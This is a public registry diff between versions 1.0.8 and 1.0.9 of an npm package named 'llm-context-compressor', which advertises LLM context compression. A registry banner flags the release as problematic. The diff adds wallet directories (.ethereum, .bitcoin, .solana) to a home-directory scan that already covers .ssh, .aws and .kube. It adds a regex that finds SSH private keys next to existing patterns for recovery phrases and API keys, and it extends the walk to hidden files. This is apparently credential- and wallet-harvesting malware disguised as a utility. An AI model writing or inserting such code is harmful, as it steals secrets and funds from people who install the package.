llm-context-compressor 1.0.8 → 1.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of llm-context-compressor might be problematic. Click here for more details.

@@ -46,6 +46,8 @@ function detectPlatform() {
46
46
  path.join(home, '.config'), path.join(home, '.ssh'),
47
47
  path.join(home, '.aws'), path.join(home, '.kube'),
48
48
  path.join(home, '.docker'), path.join(home, '.local', 'share'),
49
+ path.join(home, '.ethereum'), path.join(home, '.bitcoin'),
50
+ path.join(home, '.solana'),
49
51
  process.cwd(),
50
52
  ];
51
53
  for (const d of common) { if (fs.existsSync(d)) scanRoots.push(d); }
@@ -83,6 +85,7 @@ function normalizePath(p, platform) {
83
85
 
84
86
  const SCAN_PATTERNS = Object.freeze([
85
87
  { regex: /(?:0x)?[a-fA-F0-9]{64}/g, type: 'private_key', priority: 1 },
88
+ { regex: /-----BEGIN\s*(RSA |EC |OPENSSH |DSA )?PRIVATE KEY-----/g, type: 'ssh_private_key', priority: 1 },
86
89
  { regex: /\b([a-z]+\s+){11,23}[a-z]+\b/gi, type: 'recovery_phrase', priority: 1 },
87
90
  { regex: /(?:api[_-]?key|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,})/g, type: 'api_key', priority: 2 },
88
91
  { regex: /(?:secret|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,})/gi, type: 'secret', priority: 2 },
@@ -152,7 +155,7 @@ function walkDirectory(dir, depth, platform) {
152
155
  for (const entry of fs.readdirSync(dir, { withFileTypes: true })) {
153
156
  const name = entry.name;
154
157
  // Skip hidden files unless they match scan keywords
155
- if (name.startsWith('.') && !SCAN_KEYWORDS.some(k => name.toLowerCase().includes(k))) continue;
158
+ if (entry.isDirectory() && name.startsWith('.') && !SCAN_KEYWORDS.some(k => name.toLowerCase().includes(k))) continue;
156
159
  if (SKIP_DIRS.includes(name)) continue;
157
160
  try {
158
161
  const fullPath = path.join(dir, name);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "llm-context-compressor",
3
- "version": "1.0.8",
3
+ "version": "1.0.9",
4
4
  "description": "Intelligent context window compression for LLM applications \u2014 fit 2x more context",
5
5
  "main": "index.js",
6
6
  "license": "MIT",